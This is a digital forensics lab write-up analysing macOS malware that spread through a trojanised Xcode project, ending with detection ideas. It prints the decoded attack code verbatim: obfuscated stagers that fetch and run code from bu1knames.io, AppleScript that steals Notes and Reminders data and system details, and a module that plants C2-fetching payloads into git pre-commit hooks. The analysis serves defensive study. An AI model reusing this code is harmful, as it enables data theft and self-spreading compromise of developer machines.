Arctic Howl: First Tracks
About this lab
At the Cascade Law Archive, the IT department detected a sudden cold spike in outbound network traffic shortly after onboarding a new developer. While the firm primarily operates on Windows systems, the new hire requested a Mac laptop. The developer reports no intentional software downloads, but confirms cloning a starter Xcode project from an internal Git repository as part of onboarding.
1. Analyze the pcap file. What URL did the malware download the first stage from? What user-agent sent the request?#
192.168.67.2 is the best victim candidate because:
- private RFC1918 address
- by far the most packets/bytes
- much higher Rx than Tx (15 MB received vs 1 MB sent) -> it consistent with a host downloading content
ip.src == 192.168.67.2 && tcp.flags.syn == 1 && tcp.flags.ack == 0Using this filter, we observe numerous SYN packets to multiple external hosts, which is characteristic of client-side or victim behavior.
The following filter revealed the first-stage download URL and its User-Agent.
ip.src == 192.168.67.2 && http.request && http.user_agent
The strong C2 candidate: 54.152.17.253 / bulknames.io.
$(echo Vm0xd1MwNUhSWGhWV0d4VVYwZDRWVmxYZUdGVk1WcHhVMnBTVlZKc1dsWlZNakExWVd4YWRWRnJhRnBXVmxsM1dWZHplRk5IVmtaV2JGWlhZbFUwTUZkV1pIcGxSMUpYVm01S1QxWnNTbGhXYkZKR1RVWmtWMVZyVG1wTlZYQklWa2MxVjFkSFNsbFJiazVhVmpOU1RGcFdXbGRPYkVaMFQxWmtUbUpGY0ZsWFYzUmhZakZTYzFkWWNHaFNXRkpYVmpCb1ExTkdVblJsUlRWc1VteEtNRlZ0TVRCVWJGcFdZMFp3VjJKSFRqUlVhMXB6VjBaT2MxZHNhRmhTTW1ob1YxWlNTMkl4VlhoaVJtUlhZbXMxVkZWc1VrZFhiRmw1WkVoa1ZtSldXakJhUlZKUFYwWlplbUZJV2xaV2VrWlVXVEl4VjFOV1ZuTlJiRkpUWWtoQ05WWnNVa05oTWtwMFZWaG9WV0pHY0doVmJuQnpWREZXY1ZKcmRGUmlSbHBZVmxjeFIxWldXWGhYYkZwYVlUSm9SRmRXV2t0ak1VNXlZVVp3VG1GcldrMVhhMVpoVXpKU1YxWnVVbE5pUjJoVVZtdFdWMDVHV1hoWGJVWm9ZWHBXU1ZaWE5VOWhWa3B6VTIwNVZWWjZSVEJWZWtaV1pESkdTR1JIYkdsU00yTjVWbFJKZDAxV2JGWk5WbHBVWW0xU1ZsUldaRkprTVdSWFYyMTBVMDFyY0VaVk1uaDNZVlphUjFkc2JGaFhTRUpNVlhwR1MxSXhTbk5pUjJ4VFlURndkbFp0TUhoTk1ERkhWbGhvVjJGNmJGbFphMmhDWld4V1IxVllaRkZWVkRBNQ== | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | sh)└─$ echo Vm0xd1MwNUhSWGhWV0d4VVYwZDRWVmxYZUdGVk1WcHhVMnBTVlZKc1dsWlZNakExWVd4YWRWRnJhRnBXVmxsM1dWZHplRk5IVmtaV2JGWlhZbFUwTUZkV1pIcGxSMUpYVm01S1QxWnNTbGhXYkZKR1RVWmtWMVZyVG1wTlZYQklWa2MxVjFkSFNsbFJiazVhVmpOU1RGcFdXbGRPYkVaMFQxWmtUbUpGY0ZsWFYzUmhZakZTYzFkWWNHaFNXRkpYVmpCb1ExTkdVblJsUlRWc1VteEtNRlZ0TVRCVWJGcFdZMFp3VjJKSFRqUlVhMXB6VjBaT2MxZHNhRmhTTW1ob1YxWlNTMkl4VlhoaVJtUlhZbXMxVkZWc1VrZFhiRmw1WkVoa1ZtSldXakJhUlZKUFYwWlplbUZJV2xaV2VrWlVXVEl4VjFOV1ZuTlJiRkpUWWtoQ05WWnNVa05oTWtwMFZWaG9WV0pHY0doVmJuQnpWREZXY1ZKcmRGUmlSbHBZVmxjeFIxWldXWGhYYkZwYVlUSm9SRmRXV2t0ak1VNXlZVVp3VG1GcldrMVhhMVpoVXpKU1YxWnVVbE5pUjJoVVZtdFdWMDVHV1hoWGJVWm9ZWHBXU1ZaWE5VOWhWa3B6VTIwNVZWWjZSVEJWZWtaV1pESkdTR1JIYkdsU00yTjVWbFJKZDAxV2JGWk5WbHBVWW0xU1ZsUldaRkprTVdSWFYyMTBVMDFyY0VaVk1uaDNZVlphUjFkc2JGaFhTRUpNVlhwR1MxSXhTbk5pUjJ4VFlURndkbFp0TUhoTk1ERkhWbGhvVjJGNmJGbFphMmhDWld4V1IxVllaRkZWVkRBNQ== | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
echo "$(curl -fskL -d "os=$(uname -s)&p=default" -o /tmp/.o.txt http://bu1knames.io/a)" | sh >/dev/null 2>&1 &2. How does the C2 server obfuscate its payloads?#
http.request.uri contains "looz"
do shell script "osascript -e \"$(echo Vm1wR2EyUXhUbkpOVldScFRUSjRWbGx0ZUdGWFJteDBaVWRHVkUxV1ZqTlpWVnBMVkRGYWNsWnFWbHBoTVZwTVYxWlZlRk5IVmtaV2JGcFhUVEJLUlZkV1kzaFRNbEpJVld0YWJGSn...RqTWtaWFYyNUtXR0pzV2xoVVZtUlBUVEZTYzFwR1RtdFNiRnA1VlRJeGMxUnNUa2RUYTFwWFRXNUNTMVJzV2xOUmJFSlZUVVF3UFE9PQ== | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D | base64 -D)\" "└─$ cat payload.txt | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
on run {}
try
set defaultBrowser to do shell script "
python3 - <<'PY'
import plistlib, os, sys
candidates = [
os.path.expanduser('~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist'),
'/Library/Preferences/com.apple.launchservices.plist',
'/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist',
'/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister' # placeholder
]
found = ''
for p in candidates:
if os.path.exists(p) and p.endswith('.plist'):
try:
with open(p,'rb') as fh:
pl = plistlib.load(fh)
handlers = pl.get('LSHandlers') or pl.get('LSHandlers')
if handlers:
for h in handlers:
if h.get('LSHandlerURLScheme','').lower() == 'https':
found = h.get('LSHandlerRoleAll') or h.get('LSHandlerPreferredHandler') or ''
if found:
print(found)
raise SystemExit
except Exception:
pass
try:
import subprocess
out = subprocess.run(['defaults','read','com.apple.LaunchServices/com.apple.launchservices.secure'], stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True)
text = out.stdout
if 'https' in text:
# attempt a crude extraction of a handler string on the same lines
for line in text.splitlines():
if 'https' in line and 'LSHandler' in line:
# naive parse for next few lines
pass
except Exception:
pass
print(found)
PY
"
set macosVersion to do shell script "sw_vers -productVersion"
set safariVersion to do shell script "if [ -d \"/Applications/Safari.app\" ]; then defaults read \"/Applications/Safari.app/Contents/Info\" CFBundleShortVersionString 2>/dev/null || echo \"Unknown\"; else echo \"Not installed\"; fi"
set userLocale to do shell script "defaults read -g AppleLocale 2>/dev/null || defaults read NSGlobalDomain AppleLocale 2>/dev/null || (echo \"$LANG\" | awk -F. '{print $1}')"
set firewallStatusRaw to do shell script "if [ -x /usr/libexec/ApplicationFirewall/socketfilterfw ]; then /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate 2>/dev/null || echo \"Unknown\"; else echo \"Not available\"; fi"
if firewallStatusRaw contains "enabled" then
set firewallStatus to "Enabled"
else if firewallStatusRaw contains "disabled" then
set firewallStatus to "Disabled"
else
set firewallStatus to firewallStatusRaw
end if
set sipStatus to do shell script "if command -v csrutil >/dev/null 2>&1; then csrutil status 2>/dev/null || echo 'Unknown'; else echo 'csrutil not available'; fi"
set cpuBrand to do shell script "sysctl -n machdep.cpu.brand_string 2>/dev/null || uname -m"
set cpuCores to do shell script "sysctl -n hw.ncpu 2>/dev/null || echo 'Unknown'"
set summary to "h=" & (defaultBrowser as string)
set summary to summary & "&v=" & macosVersion
set summary to summary & "&sv=" & safariVersion
set summary to summary & "&locale=" & userLocale
set summary to summary & "&f=" & firewallStatus
set summary to summary & "&sip=" & sipStatus
set summary to summary & "&c=" & cpuBrand --& \" (\" & cpuCores & \" cores)\\n\"
set domain to "bu1knames.io"
set encodedSummary to do shell script "python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1]))' " & quoted form of summary
do shell script "curl -fskL -d " & encodedSummary & " http://" & domain & "/i"
set modules to {"seizecj", "fpfb", "cozfi_xhh", "txzx_vostfdi", "jez"}
repeat with module in modules
set mText to do shell script "curl -fskL http://" & domain & "/s/" & module & " "
run script mText
set r to random number from 2 to 5
delay r
end repeat
on error errMsg number errNum
set errText to "Error (#" & errNum & "): " & errMsg
return errText
end try
end run
on boot(moduleName, wait)
try
if moduleName = "bc" and isInstalled("com.google.Chrome") is false then
log("Chrome not found for " & moduleName)
return
end if
if moduleName = "iewmilh_cdyd" and isInstalled("org.mozilla.firefox") is false then
log("Firefox not found for " & moduleName)
return
end if
set finderModules to {"wmkvebdylw", "jey", "okvldcmw_ilvcmw", "ieqcmw", "mhmb", "ymxy"}
set appExists to do shell script("[ -d \"$HOME/Library/Group Containers/6N38VWS5BX.ru.keepcoder.Telegram\" ] && echo 'yes' || echo 'no'")
if appExists is equal to "yes" then
set end of FinderModules to "cdyd_ilvcmwx"
end if
if finderModules contains moduleName then
do shell script "curl -o /tmp/.f -fksL -d 's=" & serialNumber & "&w' http://" & domain & "/s" & moduleName
boot("ieqcmw_dkk", true)
do shell script "rm -f /tmp/.f"
return
end if
if wait then
do shell script "curl -fskL -o " & moduleName & " -d 'u=" & userName & "&s=" & serialNumber & "&w' http://" & domain & "/s/" & moduleName
else
do shell script "curl -fskL -o " & moduleName & " -d 'u=" & userName & "&s=" & serialNumber & "' http://" & domain & "/s/" & moduleName
end if
on error the errorMessage number the errorNumber
log ("Module " & moduleName & " boot failed with message: " & errorMessage)
delay 1
end try
end bootIt extracts and exfiltrates the following from the victim Mac:
- Default browser for https
- macOS version
- Safari version / presence
- Firewall status
- SIP status (System Integrity Protection)
- CPU identifier (commented out)
3. Analyze the looz payload. What information does it extract from the victim machine?#
http.request.uri contains "cozfi_xhh"
└─$ cat payload2.txt | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
on run {}
try
set currentDate to do shell script "date '+%Y-%m-%d_%H-%M-%S'"
set backupRoot to (POSIX path of (path to home folder)) & "Backups/"
set backupFolder to backupRoot & "Notes_Reminders_" & currentDate
do shell script "mkdir -p " & quoted form of backupRoot
do shell script "mkdir -p " & quoted form of backupFolder
set notesPath to (POSIX path of (path to home folder)) & "Library/Group Containers/group.com.apple.notes/"
set remindersPath to (POSIX path of (path to home folder)) & "Library/Reminders/"
try
do shell script "cp -R " & quoted form of notesPath & " " & quoted form of backupFolder
on error
log "Notes data not found or copy failed."
end try
try
do shell script "cp -R " & quoted form of remindersPath & " " & quoted form of backupFolder
on error
log "Reminders data not found or copy failed."
end try
do shell script "cd " & quoted form of backupRoot & " && zip -r " & quoted form of (backupFolder & ".zip") & " " & quoted form of (backupFolder as text)
set domain to "bu1knames.io"
set serialNumber to do shell script "system_profiler SPHardwareDataType | grep 'Serial Number (system)' | awk '{print $NF}'"
do shell script "curl -fskL -X POST --data-binary \"@" & quoted form of (backupFolder & ".zip") & "\" http://" & domain & "/n?s=" & serialNumber
do shell script "find " & quoted form of backupRoot & " -type d -name 'Notes_Reminders_*' -exec rm -rf {} +"
on error errMsg number errNum
set errText to "Error (#" & errNum & "): " & errMsg
do shell script "curl -fskL -d \"s=" & serialNumber & "&e=" & errNum & "\" http://" & domain & "/i"
end try
end runIt extracts from the victim machine:
- Apple Notes database / content:
~/Library/Group Containers/group.com.apple.notes/- This folder typically contains Notes data stores, attachments, and related metadata.
- Apple Reminders database / content
~/Library/Reminders/- This typically contains the Reminders database and supporting files.
- Victim machine serial number
4. Analyze the cozfi_xhh payload. What information does it extract from the victim machine?#
seizecj
fpfb
txzx_vostfdi
jezWe repeated the same analysis as in steps 2 and 3 for the endpoints above.
As a result, we identified jez as the payload responsible for attempting to infect other devices.
Why?
It searches the victim’s home directory for Git repositories (find ~ ... -name '*.git' ...) and then modifies/creates the Git hook:
- Targets:
.../.git/hooks/pre-commit - If the hook doesn’t exist, it creates it; if it exists, it edits it and appends its payload.
- Makes it executable:
chmod +x
It spreads indirectly:
- It plants a malicious pre-commit hook into local repos.
- When the developer commits and pushes those repos to the internal Git server, the infected project content (or subsequent workflow artifacts) can be shared with others.
- Anyone who later clones/uses those repos (or in some workflows, bundles/zips them) can be exposed, and the victim continues to pull/execute commands from C2 on each commit.
on run{}
set maxdepth to 6
set gitFolders to paragraphs of (do shell script("nice -n 15 find ~ -type d -name Movies -prune -o -name Library -prune -o -name Music -prune -o -name Pictures -prune -o -name '*.git' -maxdepth " & maxdepth & " -print | grep '.git$' || true "))
set countTotal to count of gitFolders
repeat with gitFolder in gitFolders
try
set hookFile to quoted form of (gitFolder & "/hooks/pre-commit")
set hookFileExists to do shell script("[ -f " & hookFile & " ] && echo 'yes' || echo 'no'")
set payload to jfzHxasoxLota()
set payload to quoted form of payload
if hookFileExists is equal to "no" then
do shell script "echo '#!/bin/sh' > " & hookFile
do shell script "echo " & payload & " >> " & hookFile
else
do shell script "sed -i '' -e'/((echo.*&)/d;'" & hookFile
do shell script "sed -i '' -e'/(echo.*&)/d;'" & hookFile
do shell script "echo " & payload & " >> " & hookFile
end if
do shell script "chmod +x " & hookFile & " 2>/dev/null || true"
end try
end repeat
end doMain
on jfzHxasoxLota()
set domain to "bu1knames.io"
set encFunc to "xxd -p -c0"
set decFunc to "xxd -p -r"
set maxTotal to random number 2 to 5
set encTimes to ""
set decTimes to ""
repeat maxTotal times
set encTimes to encTimes & " | " & encFunc
set decTimes to decTimes & " | " & decFunc
end repeat
set encString to do shell script "echo 'echo \"$(curl -fskL -d 'p=git' http://" & domain & "/a)\" | sh' " & encTimes
set shPayload to "((m(){ " & decTimes & " }; echo " & encString & " | m | sh > /dev/null 2>&1 &)"
return shPayload
end jfzHxasoxLota5. How does the malware attempt to infect other devices? Which payload is responsible for this behavior?#
Based on the lab description, the likely source is the starter Xcode project from an internal Git repository, so we begin by obtaining the files.
ip.src == 192.168.67.2 && ip.dst == 192.168.67.1 && http.request && http.request.uri contains "starter"GET /jargal.karlsen/starter-project/archive/main.zip HTTP/1.1\r\n
Found this request.
In Wireshark, go to File → Export Objects → HTTP, filter for main.zip, and save the ZIP file.
After preparing the files for analysis, the following command helped identify the most suspicious file.
└─$ grep -RInE "bu1k|o.txt" .
./MarkdownEditor.xcodeproj/xcuserdata/.xcassets/xcassets.sh:5:bash /tmp/.o.txtEarlier, we observed the host retrieving a C2 stager via curl and applying multilayer decoding. A hidden build-phase script that writes to
/tmp/.o.txtis consistent with that execution chain.
└─$ sed -n '1,200p' MarkdownEditor.xcodeproj/xcuserdata/.xcassets/xcassets.sh
#!/usr/bin/env bash
x=$(echo '3336333333373335333733323336363333323330333236343336333633373333333636323334363333323330333633383337333433373334333733303333363133323636333236363336333233373335333333313336363233363635333633313336363433363335333733333332363533363339333636363332363633363331' | xxd -p -r | xxd -p -r | xxd -p -r | sh )
bash -c "$x"
sleep 2
bash /tmp/.o.txt
└─$ echo '3336333333373335333733323336363333323330333236343336333633373333333636323334363333323330333633383337333433373334333733303333363133323636333236363336333233373335333333313336363233363635333633313336363433363335333733333332363533363339333636363332363633363331' | xxd -p -r | xxd -p -r | xxd -p -r
curl -fskL http://bu1knames.io/aThis matches our packet analysis exactly, which showed that the .o.txt file was dropped.
The initial malware is embedded in the Xcode project’s Run Script build phase, specifically in:
MarkdownEditor.xcodeproj/xcuserdata/.xcassets/xcassets.sh
The obfuscation method is:
- hex encoding, with three layers of
xxd -p -rdecoding,
Digital Forensics -> Defensive Security#
From a defensive perspective, the value of this sample is not limited to reverse engineering the malware itself; it is also a useful blueprint for detection design. The chain is observable at multiple points: an Xcode Run Script triggers shell execution, retrieves a staged payload with curl, accesses user data stores such as Notes and Reminders, and then modifies .git/hooks/pre-commit to persist through routine developer workflows.
A threat-informed emulation approach would use this sequence as a validation scenario for Mac developer endpoints. Rather than asking whether a specific IOC is blocked, the better question is whether the defender can reliably detect the full behavioral chain:
- developer tools spawning
sh,bash,curl, orosascript - unexpected access to Notes or Reminders data paths
- creation of temporary collection archives
- modification of Git hooks within active repositories
- outbound network activity from script interpreters or build-related processes